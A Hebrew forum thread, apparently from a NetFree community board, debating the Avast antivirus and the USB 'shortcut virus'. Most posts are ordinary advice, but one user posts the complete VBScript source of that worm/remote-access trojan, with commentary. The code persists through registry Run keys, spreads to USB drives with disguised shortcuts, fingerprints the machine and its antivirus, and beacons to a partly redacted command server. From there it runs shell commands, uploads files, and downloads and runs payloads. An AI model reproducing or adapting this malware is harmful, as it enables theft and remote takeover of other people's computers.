• פוסטים אחרונים
    • תגיות
    • משתמשים
    • קבוצות
    • חיפוש
    • נטפרי-וויקי
    • En
    • התחברות

    אנטי ווירוס 'אווסט', כדאי להתקין ?

    מתוזמן נעוץ נעול הועבר כללי
    87 פוסטים 15 כותבים 18.9k צפיות 4 עוקבים
    טוען פוסטים נוספים
    • מהישן לחדש
    • מהחדש לישן
    • הכי הרבה הצבעות
    תגובה
    • תגובה כנושא
    התחברו כדי לפרסם תגובה
    נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
    • beri.zipB מחובר
      beri.zip @יעקב.ק
      נערך לאחרונה על ידי

      @יעקב.ק אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

      @beri.zip אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

      @מעמד אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

      @יעקב.ק אווסט טוב למיילים ?
      ואין לו סריקה אוטומטית אלא כל פעם שאני מכניס דיסק און קי אני צריך לעשות סריקה ידנית ?

      לאוואסט יש סריקה למיילים
      והוא לא עושה סריקה אוטמטית אבל כל קובץ שמנסה להפתח נסרק ולכן אם יש באוןקי וירוס שמיד מנסה להתקין את עצמו על המחשב הוא יסרק ויחסם
      ואגב @יעקב-ק לא הבנתי מה התועלת בסריקה אוטמטית של כונן חיצוני כל פעם שאני מכניס כונן להעתיק קובץ הוא מתחיל בסריקה וזה מסובך להוציא את הכונן

      אבל אם יש באונקי וירוס שלא נפתח אוטומטית הוא לא יבדוק אותו

      מה איכפת לך מוירוס שלנמצא באונקי ולא מתקין את עצמו על המחשב?

      להנחות נוספת בחנות KSP לחץ כאן
      לסקרים בתשלום לחץ כאן או כאן
      להרשמה לקבלת קאשבק ממגוון אתרים לחץ כאן

      תגובה 1 תגובה אחרונה תגובה ציטוט 1
      • beri.zipB מחובר
        beri.zip @שלום על ישראל
        נערך לאחרונה על ידי beri.zip

        @שלום-על-ישראל 0_1503984743369_לגרור תיקיה לכאן.zip
        נראה לי שזה הכי פשוט ויעיל לוירוס פשוט לחלץ את הקובץ שבפנים ולגרור את סמל הכונן עם הוירוס על הקובץ לחכות שיסיים וזהו

        להנחות נוספת בחנות KSP לחץ כאן
        לסקרים בתשלום לחץ כאן או כאן
        להרשמה לקבלת קאשבק ממגוון אתרים לחץ כאן

        תגובה 1 תגובה אחרונה תגובה ציטוט 0
        • WWWW מנותק
          WWW נקיפדיה @הגוף והנפש
          נערך לאחרונה על ידי

          @הגוף-והנפש אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

          @מנתק
          כל הכבוד...
          אבל לא הבנתי, החשש היחיד זה הוירוס של קיצורי הדרך?
          אין עוד דברים שיכולים לעבור?

          נראה לך שהוירוס של הקיצורי דרך כ"כ תמים?
          זו פשוט שיטת ההפצה ללא חיבור אינטרנטי, בד"כ מדובר על 'סוס טרויאני', שנכתב בVBS פשוט (עם הצפנה טיפשית של *#123, וגם המשתנים עם אותם השמות...), יש גם מקומפלים לEXE.
          מחשב שלא מחובר לאינטרנט, מקבל את הוירוס בד"כ ע"י קיצורי דרך.
          אם מישהו מעוניין, אוכל להסביר את עצמי יותר טוב.

          "עדיף להיות אדם חכם עם מכשיר טיפש,
          מאשר אדם טיפש עם מכשיר חכם"
          הגוף והנפשה 5 2 תגובות תגובה אחרונה תגובה ציטוט 0
          • HP079H מנותק
            HP079 נקיפדיה @זהיר
            נערך לאחרונה על ידי

            @זהיר זה בכלל לא בעיה להעתיק תוכנה כזו, זה סך הכל להעתיק את הקבצי תוכנה למקום אחר ולבנות קובץ התקנה חדש, עם סיסמא מובנית או ללא סיסמא כלל, כך שלא נראה לי שאין פרוצות בעברית.

            תגובה 1 תגובה אחרונה תגובה ציטוט 0
            • הגוף והנפשה מנותק
              הגוף והנפש @WWW
              נערך לאחרונה על ידי

              @WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

              @הגוף-והנפש אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

              @מנתק
              כל הכבוד...
              אבל לא הבנתי, החשש היחיד זה הוירוס של קיצורי הדרך?
              אין עוד דברים שיכולים לעבור?

              נראה לך שהוירוס של הקיצורי דרך כ"כ תמים?
              זו פשוט שיטת ההפצה ללא חיבור אינטרנטי, בד"כ מדובר על 'סוס טרויאני', שנכתב בVBS פשוט (עם הצפנה טיפשית של *#123, וגם המשתנים עם אותם השמות...), יש גם מקומפלים לEXE.
              מחשב שלא מחובר לאינטרנט, מקבל את הוירוס בד"כ ע"י קיצורי דרך.
              אם מישהו מעוניין, אוכל להסביר את עצמי יותר טוב.

              נשמח להבין באם היום זה עדיין נפוץ?
              ומה הנזקים בפועל?
              ולמי שיש לו אנטי וירוס מעודכן האם זה גם בעייתי?

              ומה באמת הפתרונות הן ברמת הגנה והן ברמת התיקון והתוכנה

              האברךה תגובה 1 תגובה אחרונה תגובה ציטוט 0
              • האברךה מנותק
                האברך @הגוף והנפש
                נערך לאחרונה על ידי

                @הגוף-והנפש אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                נשמח להבין באם היום זה עדיין נפוץ?
                ומה הנזקים בפועל?
                ולמי שיש לו אנטי וירוס מעודכן האם זה גם בעייתי?

                ומה באמת הפתרונות הן ברמת הגנה והן ברמת התיקון והתוכנה

                1. נפוץ.
                2. אין נזקים (מלבד זה שכל הקבצים באונקי וכדו' נהפכים למוסתרים, ובמקומם נוצרים קיצורי דרך).
                3. אם יש אנטי וירוס איכותי מעודכן, וסורקים כל אונקי וכדו' לפני שמכניסים - בד"כ אין שום בעיה.
                4. הפתרון לאחר שכבר הכנסת את האונקי הנקי שלך למחשב עם וירוסים, וכל הקבצים נהיו מוסתרים - עיין לעיל ש @האברך וכן @beri-zip העלו תוכנות לתיקון הקבצים.
                beri.zipB WWWW 2 תגובות תגובה אחרונה תגובה ציטוט 1
                • beri.zipB מחובר
                  beri.zip @האברך
                  נערך לאחרונה על ידי

                  @האברך

                  @האברך אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                  אין נזקים (מלבד זה שכל הקבצים באונקי וכדו' נהפכים למוסתרים, ובמקומם נוצרים קיצורי דרך).

                  וגם כמובן ברוב הפעמים הוירוס מתקין את עצמו על המחשב ומעתיק את עצמו לכל אונקי שמוכנס למחשב

                  להנחות נוספת בחנות KSP לחץ כאן
                  לסקרים בתשלום לחץ כאן או כאן
                  להרשמה לקבלת קאשבק ממגוון אתרים לחץ כאן

                  האברךה תגובה 1 תגובה אחרונה תגובה ציטוט 0
                  • האברךה מנותק
                    האברך @beri.zip
                    נערך לאחרונה על ידי

                    @beri.zip התכוונתי באופן שאתה מכניס אונקי נקי שלך למחשב נגוע. במקרה שאתה מכניס אונקי נגוע למחשב שלך - אתה צודק.

                    תגובה 1 תגובה אחרונה תגובה ציטוט 1
                    • WWWW מנותק
                      WWW נקיפדיה @האברך
                      נערך לאחרונה על ידי

                      @האברך אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                      אין נזקים (מלבד זה שכל הקבצים באונקי וכדו' נהפכים למוסתרים, ובמקומם נוצרים קיצורי דרך).

                      מאיפה אתה לוקח אחריות???!
                      זה סוס טרויאני פשוטו כמשמעו, יש לו גישה למחשב שלך, והוא יכול לעשות מה שבא לו.
                      אם תרצה, אפרט לך בדיוק מה הוא עושה לך במחשב כל 5 שניות, מלבד מה שהוא גוזל משאבים.
                      אמנם בנטפרי זה לא כ"כ בעיה, כי אף אחד עדיין לא שלח את הכתובת שלהם לבדיקה...
                      אבל זה לא אחראי לכתוב שאין נזקים...

                      "עדיף להיות אדם חכם עם מכשיר טיפש,
                      מאשר אדם טיפש עם מכשיר חכם"
                      האברךה תגובה 1 תגובה אחרונה תגובה ציטוט 0
                      • האברךה מנותק
                        האברך @WWW
                        נערך לאחרונה על ידי

                        @WWW

                        @האברך אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                        התכוונתי באופן שאתה מכניס אונקי נקי שלך למחשב נגוע.

                        וכמובן, סורק אותו עם האנטי וירוס לפני שאתה פותח אותו במחשב שלך. באופן שכבר פתחת אותו במחשב שלך - לא ע"ז דיברתי.
                        אבל גם באופן שכבר פתחת אותו במחשב שלך - מניסיון בד"כ הצלחתי למחוק את הוירוס בלי שהיו שום נזקים, אבל אני לא לוקח אחריות שאין וירוסים קטלניים יותר שכן יגרמו נזקים.

                        WWWW תגובה 1 תגובה אחרונה תגובה ציטוט 2
                        • WWWW מנותק
                          WWW נקיפדיה @האברך
                          נערך לאחרונה על ידי

                          @האברך הכלל שצריך לדעת: אף פעם לא להפעיל קיצור דרך באונקי, (הקיצור דרך מפעיל קודם כל את הוירוס).

                          "עדיף להיות אדם חכם עם מכשיר טיפש,
                          מאשר אדם טיפש עם מכשיר חכם"
                          תגובה 1 תגובה אחרונה תגובה ציטוט 1
                          • 5 מנותק
                            5566NEWbrs @WWW
                            נערך לאחרונה על ידי

                            @WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                            נראה לך שהוירוס של הקיצורי דרך כ"כ תמים?
                            זו פשוט שיטת ההפצה ללא חיבור אינטרנטי, בד"כ מדובר על 'סוס טרויאני', שנכתב בVBS פשוט (עם הצפנה טיפשית של *#123, וגם המשתנים עם אותם השמות...), יש גם מקומפלים לEXE.

                            אם מישהו מעוניין, אוכל להסביר את עצמי יותר טוב.

                            אני הייתי מעונין בקישור שיתמוך בדבריך או יאשש אותם. אם התכוונת למשהו שאמור להבריח מידע מהמחשב (סוס טרויאני).

                            WWWW תגובה 1 תגובה אחרונה תגובה ציטוט 0
                            • WWWW מנותק
                              WWW נקיפדיה @5566NEWbrs
                              נערך לאחרונה על ידי

                              @5566NEWbrs אתה יודע לקרוא VB?

                              "עדיף להיות אדם חכם עם מכשיר טיפש,
                              מאשר אדם טיפש עם מכשיר חכם"
                              5 תגובה 1 תגובה אחרונה תגובה ציטוט 0
                              • 5 מנותק
                                5566NEWbrs @WWW
                                נערך לאחרונה על ידי

                                @WWW כן.

                                WWWW 2 תגובות תגובה אחרונה תגובה ציטוט 0
                                • WWWW מנותק
                                  WWW נקיפדיה @5566NEWbrs
                                  נערך לאחרונה על ידי

                                  @5566NEWbrs בעז"ה בערב, אעלה לכאן את כל הוירוס בכבודו ובעצמו...

                                  "עדיף להיות אדם חכם עם מכשיר טיפש,
                                  מאשר אדם טיפש עם מכשיר חכם"
                                  הגוף והנפשה WWWW 2 תגובות תגובה אחרונה תגובה ציטוט 0
                                  • הגוף והנפשה מנותק
                                    הגוף והנפש @WWW
                                    נערך לאחרונה על ידי

                                    @WWW
                                    להכין מסכות???👽

                                    מ תגובה 1 תגובה אחרונה תגובה ציטוט 1
                                    • WWWW מנותק
                                      WWW נקיפדיה @WWW
                                      נערך לאחרונה על ידי WWW

                                      @5566NEWbrs אוקיי,
                                      נמצאים תח"י 3 גרסאות, אני מעלה גרסה אחת:

                                      הכתובת אליו נשלח המידע (ערכתי את הכתובת, כי זה נראה שמשום מה הכתובת פתוחה בנטפרי), וקבועים:

                                      '<[ recoder : houdini (c) skype : houdini-fx ]>
                                      
                                      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      host = "microsoftsXXXXm.sXXXs.net"
                                      port = 4442
                                      installdir = "%temp%"
                                      lnkfile = true
                                      lnkfolder = true
                                      

                                      אובייקטים ומשתנים:

                                      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      dim shellobj 
                                      set shellobj = wscript.createobject("wscript.shell")
                                      dim filesystemobj
                                      set filesystemobj = createobject("scripting.filesystemobject")
                                      dim httpobj
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      
                                      
                                      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                                      
                                      installname = wscript.scriptname
                                      startup = shellobj.specialfolders ("startup") & "\"
                                      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                                      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                                      spliter = "<" & "|" & ">"
                                      sleep = 5000 
                                      dim response
                                      dim cmd
                                      dim param
                                      info = ""
                                      usbspreading = ""
                                      startdate = ""
                                      dim oneonce
                                      

                                      תחילת הקוד:
                                      כאן בעצם הוא מפעיל לולאה אין סופית (עם השהיה של 5 שניות לאחר סיום הפעולה), ששולחת מידע לשרת (גרסת המחשב, אנטי וירוס, גרסת העדכון של האנטי וירוס, איך הגיע הוירוס למחשב), ופועלת לפי התשובה, יש 13 תשובות שהוא יכול לקבל (ביניהם: עדכון הוירוס, הסרה שקטה של הוירוס מהמחשב, קבלת קבצים נוספים (וירוסים כמובן) מהשרת והפעלתם במחשב, שליחת קבצים מהמחשב לשרת, הפעלת פקודות דרך שורת הפקודה (בזה בעצם הוא יכול לבצע כל פעולה במחשב), למחוק קבצים במחשב, לסיים את הוירוס, להשהות את הוירוס לפרק זמן שהשרת שולח, ועוד!) ובאמצעותם התוכנה פועלת במחשב,

                                      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                                      on error resume next
                                      
                                      
                                      instance
                                      while true
                                      
                                      install
                                      
                                      response = ""
                                      response = post ("is-ready","")
                                      cmd = split (response,spliter)
                                      select case cmd (0)
                                      case "excecute"
                                            param = cmd (1)
                                            execute param
                                      case "update"
                                            param = cmd (1)
                                            oneonce.close
                                            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                                            oneonce.write param
                                            oneonce.close
                                            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                                            wscript.quit 
                                      case "uninstall"
                                            uninstall
                                      case "send"
                                            download cmd (1),cmd (2)
                                      case "site-send"
                                            sitedownloader cmd (1),cmd (2)
                                      case "recv"
                                            param = cmd (1)
                                            upload (param)
                                      case  "enum-driver"
                                            post "is-enum-driver",enumdriver  
                                      case  "enum-faf"
                                            param = cmd (1)
                                            post "is-enum-faf",enumfaf (param)
                                      case  "enum-process"
                                            post "is-enum-process",enumprocess   
                                      case  "cmd-shell"
                                            param = cmd (1)
                                            post "is-cmd-shell",cmdshell (param)  
                                      case  "delete"
                                            param = cmd (1)
                                            deletefaf (param) 
                                      case  "exit-process"
                                            param = cmd (1)
                                            exitprocess (param) 
                                      case  "sleep"
                                            param = cmd (1)
                                            sleep = eval (param)        
                                      end select
                                      
                                      wscript.sleep sleep
                                      
                                      wend
                                      
                                      

                                      בשורות הבאות, הוירוס מבצע את כל העסק של הקיצורי דרך, (שיפעילו קודם את הוירוס ואח"כ את הקובץ המבוקש, משנה את התמונה לתמונת הקובץ, דואג שכל אונקי שמתחבר למחשב יקבל מיד את כל הנ"ל, מסתיר את כל הקבצים והתיקיות, ועוד):

                                      sub install
                                      on error resume next
                                      dim lnkobj
                                      dim filename
                                      dim foldername
                                      dim fileicon
                                      dim foldericon
                                      
                                      upstart
                                      for each drive in filesystemobj.drives
                                      
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                                          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                                              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                                          end if
                                          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                                              if not lnkfile then exit for
                                              if  instr (file.name,".") then
                                                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                                      file.attributes = 2+4
                                                      if  ucase (file.name) <> ucase (installname) then
                                                          filename = split(file.name,".")
                                                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                                          lnkobj.windowstyle = 7
                                                          lnkobj.targetpath = "cmd.exe"
                                                          lnkobj.workingdirectory = ""
                                                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                                          if  instr (fileicon,",") = 0 then
                                                              lnkobj.iconlocation = file.path
                                                          else 
                                                              lnkobj.iconlocation = fileicon
                                                          end if
                                                          lnkobj.save()
                                                      end if
                                                  end if
                                              end if
                                          next
                                          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                              if not lnkfolder then exit for
                                              folder.attributes = 2+4
                                              foldername = folder.name
                                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                                              lnkobj.windowstyle = 7
                                              lnkobj.targetpath = "cmd.exe"
                                              lnkobj.workingdirectory = ""
                                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                                              if  instr (foldericon,",") = 0 then
                                                  lnkobj.iconlocation = folder.path
                                              else 
                                                  lnkobj.iconlocation = foldericon
                                              end if
                                              lnkobj.save()
                                          next
                                      end If
                                      end If
                                      end if
                                      next
                                      err.clear
                                      end sub
                                      
                                      

                                      פונקציית ההסרה, שמתקנת את כל הנ"ל:

                                      sub uninstall
                                      on error resume next
                                      dim filename
                                      dim foldername
                                      
                                      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
                                      filesystemobj.deletefile startup & installname ,true
                                      filesystemobj.deletefile wscript.scriptfullname ,true
                                      
                                      for  each drive in filesystemobj.drives
                                      if  drive.isready = true then
                                      if  drive.freespace  > 0 then
                                      if  drive.drivetype  = 1 then
                                          for  each file in filesystemobj.getfolder ( drive.path & "\").files
                                               on error resume next
                                               if  instr (file.name,".") then
                                                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                                                       file.attributes = 0
                                                       if  ucase (file.name) <> ucase (installname) then
                                                           filename = split(file.name,".")
                                                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                                                       else
                                                           filesystemobj.deletefile (drive.path & "\" & file.name)
                                                       end If
                                                   else
                                                       filesystemobj.deletefile (file.path) 
                                                   end if
                                               end if
                                           next
                                           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                                               folder.attributes = 0
                                           next
                                      end if
                                      end if
                                      end if
                                      next
                                      wscript.quit
                                      end sub
                                      
                                      function post (cmd ,param)
                                      
                                      post = param
                                      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
                                      httpobj.setrequestheader "user-agent:",information
                                      httpobj.send param
                                      post = httpobj.responsetext
                                      end function
                                      

                                      איסוף מידע על המחשב:

                                      function information
                                      on error resume next
                                      if  inf = "" then
                                          inf = hwid & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                                          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
                                      
                                          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                          set os = root.execquery ("select * from win32_operatingsystem")
                                          for each osinfo in os
                                             inf = inf & osinfo.caption & spliter  
                                             exit for
                                          next
                                          inf = inf & "plus" & spliter
                                          inf = inf & security & spliter
                                          inf = inf & usbspreading
                                          information = inf  
                                      else
                                          information = inf
                                      end if
                                      end function
                                      

                                      שאר הפונקציות:

                                      
                                      sub upstart ()
                                      on error resume Next
                                      
                                      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
                                      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
                                      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
                                      
                                      end sub
                                      
                                      
                                      function hwid
                                      on error resume next
                                      
                                      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set disks = root.execquery ("select * from win32_logicaldisk")
                                      for each disk in disks
                                          if  disk.volumeserialnumber <> "" then
                                              hwid = disk.volumeserialnumber
                                              exit for
                                          end if
                                      next
                                      end function
                                      
                                      
                                      function security 
                                      on error resume next
                                      
                                      security = ""
                                      
                                      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
                                      for each objitem in colitems
                                          versionstr = split (objitem.version,".")
                                      next
                                      versionstr = split (colitems.version,".")
                                      osversion = versionstr (0) & "."
                                      for  x = 1 to ubound (versionstr)
                                      	 osversion = osversion &  versionstr (i)
                                      next
                                      osversion = eval (osversion)
                                      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
                                      
                                      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
                                      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
                                      
                                      for each objantivirus in colantivirus
                                          security  = security  & objantivirus.displayname & " ."
                                      next
                                      if security  = "" then security  = "nan-av"
                                      end function
                                      
                                      
                                      function instance
                                      on error resume next
                                      
                                      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
                                      if usbspreading = "" then
                                         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                                            usbspreading = "true - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                         else
                                            usbspreading = "false - " & date
                                            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                                      
                                         end if
                                      end If
                                      
                                      
                                      
                                      upstart
                                      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
                                      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
                                      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                                          wscript.quit 
                                      end If
                                      err.clear
                                      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
                                      if  err.number > 0 then wscript.quit
                                      end function
                                      
                                      
                                      sub sitedownloader (fileurl,filename)
                                      
                                      strlink = fileurl
                                      strsaveto = installdir & filename
                                      set objhttpdownload = createobject("msxml2.xmlhttp" )
                                      objhttpdownload.open "get", strlink, false
                                      objhttpdownload.send
                                      
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                       
                                      if objhttpdownload.status = 200 then
                                         dim  objstreamdownload
                                         set  objstreamdownload = createobject("adodb.stream")
                                         with objstreamdownload
                                      		.type = 1 
                                      		.open
                                      		.write objhttpdownload.responsebody
                                      		.savetofile strsaveto
                                      		.close
                                         end with
                                         set objstreamdownload = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      sub download (fileurl,filedir)
                                      
                                      if filedir = "" then 
                                         filedir = installdir
                                      end if
                                      
                                      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
                                      set objhttpdownload = createobject("msxml2.xmlhttp")
                                      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
                                      objhttpdownload.send ""
                                           
                                      set objfsodownload = createobject ("scripting.filesystemobject")
                                      if  objfsodownload.fileexists (strsaveto) then
                                          objfsodownload.deletefile (strsaveto)
                                      end if
                                      if  objhttpdownload.status = 200 then
                                          dim  objstreamdownload
                                      	set  objstreamdownload = createobject("adodb.stream")
                                          with objstreamdownload 
                                      		 .type = 1 
                                      		 .open
                                      		 .write objhttpdownload.responsebody
                                      		 .savetofile strsaveto
                                      		 .close
                                      	end with
                                          set objstreamdownload  = nothing
                                      end if
                                      if objfsodownload.fileexists(strsaveto) then
                                         shellobj.run objfsodownload.getfile (strsaveto).shortpath
                                      end if 
                                      end sub
                                      
                                      
                                      function upload (fileurl)
                                      
                                      dim  httpobj,objstreamuploade,buffer
                                      set  objstreamuploade = createobject("adodb.stream")
                                      with objstreamuploade 
                                           .type = 1 
                                           .open
                                      	 .loadfromfile fileurl
                                      	 buffer = .read
                                      	 .close
                                      end with
                                      set objstreamdownload = nothing
                                      set httpobj = createobject("msxml2.xmlhttp")
                                      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
                                      httpobj.send buffer
                                      end function
                                      
                                      
                                      function enumdriver ()
                                      
                                      for  each drive in filesystemobj.drives
                                      if   drive.isready = true then
                                           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
                                      end if
                                      next
                                      end Function
                                      
                                      function enumfaf (enumdir)
                                      
                                      enumfaf = enumdir & spliter
                                      for  each folder in filesystemobj.getfolder (enumdir).subfolders
                                           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
                                      next
                                      
                                      for  each file in filesystemobj.getfolder (enumdir).files
                                           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
                                      
                                      next
                                      end function
                                      
                                      
                                      function enumprocess ()
                                      
                                      on error resume next
                                      
                                      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                      set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                      
                                      dim objitem
                                      for each objitem in colitems
                                      	enumprocess = enumprocess & objitem.name & "|"
                                      	enumprocess = enumprocess & objitem.processid & "|"
                                          enumprocess = enumprocess & objitem.executablepath & spliter
                                      next
                                      end function
                                      
                                      sub exitprocess (pid)
                                      on error resume next
                                      
                                      shellobj.run "taskkill /F /T /PID " & pid,7,true
                                      end sub
                                      
                                      sub deletefaf (url)
                                      on error resume next
                                      
                                      filesystemobj.deletefile url
                                      filesystemobj.deletefolder url
                                      
                                      end sub
                                      
                                      function cmdshell (cmd)
                                      
                                      dim httpobj,oexec,readallfromany
                                      
                                      set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                      if not oexec.stdout.atendofstream then
                                         readallfromany = oexec.stdout.readall
                                      elseif not oexec.stderr.atendofstream then
                                         readallfromany = oexec.stderr.readall
                                      else 
                                         readallfromany = ""
                                      end if
                                      
                                      cmdshell = readallfromany
                                      end function
                                      
                                      "עדיף להיות אדם חכם עם מכשיר טיפש,
                                      מאשר אדם טיפש עם מכשיר חכם"
                                      shragaS תגובה 1 תגובה אחרונה תגובה ציטוט 2
                                      • shragaS מנותק
                                        shraga @WWW
                                        נערך לאחרונה על ידי

                                        @WWW אמר באנטי ווירוס 'אווסט', כדאי להתקין ?:

                                        (ערכתי את הכתובת, כי זה נראה שמשום מה הכתובת פתוחה בנטפרי)

                                        מה הכתובת?, אין סיבה שזה יהיה פתוח בנטפרי, וא"כ זה צריך להיחסם

                                        קונים בעלי אקספרס? התוסף שיעזור לכם: ✅ למצוא את המחיר הכי זול למוצר בעלי אקספרס 💰, ✅ לחפש כל מוצר שמצאתם באינטרנט ישירות בעלי אקספרס 🔍, ✅ להשוות מחירים עם טימו 👈 התקינו חינם!⚡

                                        WWWW תגובה 1 תגובה אחרונה תגובה ציטוט 1
                                        • מ מנותק
                                          מעמד @הגוף והנפש
                                          נערך לאחרונה על ידי

                                          @הגוף-והנפש

                                          @WWW
                                          להכין מסכות???👽

                                          כשהלוכד באזור ( @WWW ) אין מה לדואג
                                          הכל בשליטה 😉

                                          WWWW 2 תגובות תגובה אחרונה תגובה ציטוט 1
                                          • WWWW מנותק
                                            WWW נקיפדיה @מעמד
                                            נערך לאחרונה על ידי

                                            @מעמד אני לא לוכד אף אחד...

                                            "עדיף להיות אדם חכם עם מכשיר טיפש,
                                            מאשר אדם טיפש עם מכשיר חכם"
                                            מ תגובה 1 תגובה אחרונה תגובה ציטוט 0
                                            • פוסט ראשון
                                              פוסט אחרון